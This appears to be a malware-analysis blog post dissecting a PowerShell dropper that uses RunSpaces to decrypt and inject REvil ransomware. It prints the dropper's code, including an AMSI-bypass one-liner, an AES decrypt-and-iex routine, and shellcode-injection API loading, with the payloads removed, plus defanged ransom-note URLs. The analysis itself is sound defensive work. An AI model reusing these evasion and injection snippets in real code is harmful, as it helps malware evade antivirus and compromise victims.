I spotted a piece of Powershell code that deserved some investigations because it makes use of RunSpaces[1]. The file (SHA256:e1e19d637e6744fedb76a9008952e01ee6dabaecbc6ad2701dfac6aab149cecf) has a very low VT score: only 1/59![2].

The technique behind RunSpaces is helpful to create new threads on the existing Powershell process, and you can simply add what you need to it and send it off running. Here is an example of Runspace created by the malicious script:

$wabyynegzji = [runspacefactory]::CreateRunspace() $wabyynegzji.ApartmentState = "STA" $wabyynegzji.ThreadOptions = "ReuseThread" $wabyynegzji.Open() $vkzggaes = [PowerShell]::Create() $vkzggaes.Runspace = $wabyynegzji $vkzggaes.AddScript($pqxsxzakx) | out-null $vkzggaes.BeginInvoke() | out-null

The interesting line is the one which contains ‘AddScript’. It is used to attach the piece of Powershell code to be executed in the new threat. Here is the code (located in a separate Script Block):

[Scriptblock]$pqxsxzakx = { try{ [ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils').GetField( \   'amsi'+'InitFailed', 'NonPublic,Static').SetValue($null, $true)   }catch{} }

This is a classic bypass for logging and AV detection[3]. Then, a second RunSpace is started:

$mnibvakvi =[runspacefactory]::CreateRunspace() $mnibvakvi.ApartmentState = "STA" $mnibvakvi.ThreadOptions = "ReuseThread" $mnibvakvi.Open() $mnibvakvi.SessionStateProxy.SetVariable("gbwqmnxwc", "L6jelvDCcKXK9A/+Lqto/5i9HtEK4jSsSdITqsGlgtQ=") $slqcphetxifbl = [PowerShell]::Create() $slqcphetxifbl.Runspace = $mnibvakvi $slqcphetxifbl.AddScript($zupcppfvxbxgvwbivbq) | out-null $slqcphetxifbl.BeginInvoke() | out-null

This block of code will decrypt and inject the payload in the current Powershell process. Note that you can pass variables to a RunSpace. In the example above, "gbwqmnxwc" contains the decryption key of the payload:

[Scriptblock]$zupcppfvxbxgvwbivbq = { function tyefcaneraxdmqsfh($gbwqmnxwc, $qpzspadssix, $iizcnwcbb) { $uuvqwwqjjkcolarhdeox=New-Object System.Security.Cryptography.AesCryptoServiceProvider; $uuvqwwqjjkcolarhdeox.Mode="CBC"; $uuvqwwqjjkcolarhdeox.Padding = "Zeros"; $uuvqwwqjjkcolarhdeox.BlockSize = 128; $uuvqwwqjjkcolarhdeox.KeySize = 256; $uuvqwwqjjkcolarhdeox.IV = $qpzspadssix; $uuvqwwqjjkcolarhdeox.Key = $gbwqmnxwc; $lafcsowawwnwcm=$uuvqwwqjjkcolarhdeox.CreateDecryptor(); $trgkzwqbqqbuteoe=$lafcsowawwnwcm.TransformFinalBlock($iizcnwcbb, 0, $iizcnwcbb.Length); return [System.Text.Encoding]::UTF8.GetString($trgkzwqbqqbuteoe).Trim([char]0) } $yweudaxvekawvopqdwdr = “___PAYLOAD_REMOVED___; $yweudaxvekawvopqdwdr = [System.Convert]::FromBase64String($yweudaxvekawvopqdwdr); $qpzspadssix = "+ViLpnC7vTHGHv6nVAcTXw=="; $qpzspadssix = [System.Convert]::FromBase64String($qpzspadssix); $gbwqmnxwc = [System.Convert]::FromBase64String($gbwqmnxwc); $trgkzwqbqqbuteoe = tyefcaneraxdmqsfh $gbwqmnxwc $qpzspadssix $yweudaxvekawvopqdwdr; iex $trgkzwqbqqbuteoe; }

The decrypted code is executed via Invoke-Expression("IEX"). Here is the interesting part of the code which loads the required API calls for performing the injection:

$VirtualAllocAddr = Get-ProcessAddr kernel32.dll ('Virt'+'ualA'+'lloc') $VirtualAllocDelegate = Get-DelType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, \   $VirtualAllocDelegate) $VirtualFreeAddr = Get-ProcessAddr kernel32.dll ('Vi'+'rtualFr'+'ee') $VirtualFreeDelegate = Get-DelType @([IntPtr], [Uint32], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, \   $VirtualFreeDelegate) $CreateThreadAddr = Get-ProcessAddr kernel32.dll ("C"+"reat"+"eT"+"hre"+"ad") $CreateThreadDelegate = Get-DelType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $WaitForSingleObjectAddr = Get-ProcessAddr kernel32.dll ("Wa"+"it"+"ForSi"+"ngl"+"eObje"+"ct") $WaitForSingleObjectDelegate = Get-DelType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = \ [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

The shellcode is injected and decoded:

$hex_str = “__PAYLOAD_REMOVED__” $Shellcode = [byte[]] -split ($hex_str -replace '..', '0x$& ') [IO.File]::WriteAllBytes("c:\shellcode.tmp", $Shellcode) Invoke-Shcd $Shellcode

Let’s have a look at the shellcode now. It’s not starting at offset 0x0 but around 0x770:

Let’s extract this executable and have a look at it. Let’s skip the non-interesting bytes:

remnux@remnux:/mnt/hgfs/MalwareZoo/20210116$ tail -c +1926 shellcode.tmp >shellcode.exe

The PE file (SHA256:2fc374346290aaf1060840a5125d9867f99d192b03bfbef94268c2b679d6f905) is unknown on VT but it’s a REvil ransomware. How did I learn this easily?

When I’m teaching the SANS FOR610[4] class about malware analysis, I like to insist on the importance of using a lab completely disconnected from other networks because some weird things may (will!) happen… Because a picture is worth a thousand words, have a look at my lab:

I simply put a breakpoint in my debugger… at the wrong place! I executed the code and the breakpoint was never reached but the ransomware did the job.

About the ransomware itself, the ransomware notifies the victim (via a classic readme file) that files have been encrypted but also exfiltrated. As proof, they provide some URLs:

[+] Your secret data [+] We have uploaded all your private information, if no payment comes from you, we will post proof: hxxps://ibb[.]co/thJQ77F hxxps://ibb[.]co/cbd1CW6 hxxps://ibb[.]co/2FHfJp9 hxxps://ibb[.]co/h8vf4Y1 hxxps://ibb[.]co/MZ8WR2c hxxps://ibb[.]co/qkCjvp6 hxxps://ibb[.]co/D4hp7WN hxxps://ibb[.]co/k6JcMpm hxxps://ibb[.]co/0ZB3GxF

My sandbox being offline (network disconnected), there was no way to upload sample files to a cloud service. Files are just fake ones and do not belong to the victim!

I tried to run the ransomware again, this time with a fake network, and no network traffic was generated. The URLs with files remain the same, like hardcoded. Finally, I visited the Onion website provided in the readme file:

They provide a tool to submit some files to prove they can decrypt them and it worked. My REMnux wallpaper was decrypted! Ouf!

Based on these screenshots, we have indeed a REvil or Sodinokibi as described Talos last year in a blog post[5] but this time, it seems the way the attackers drop the malware changed...
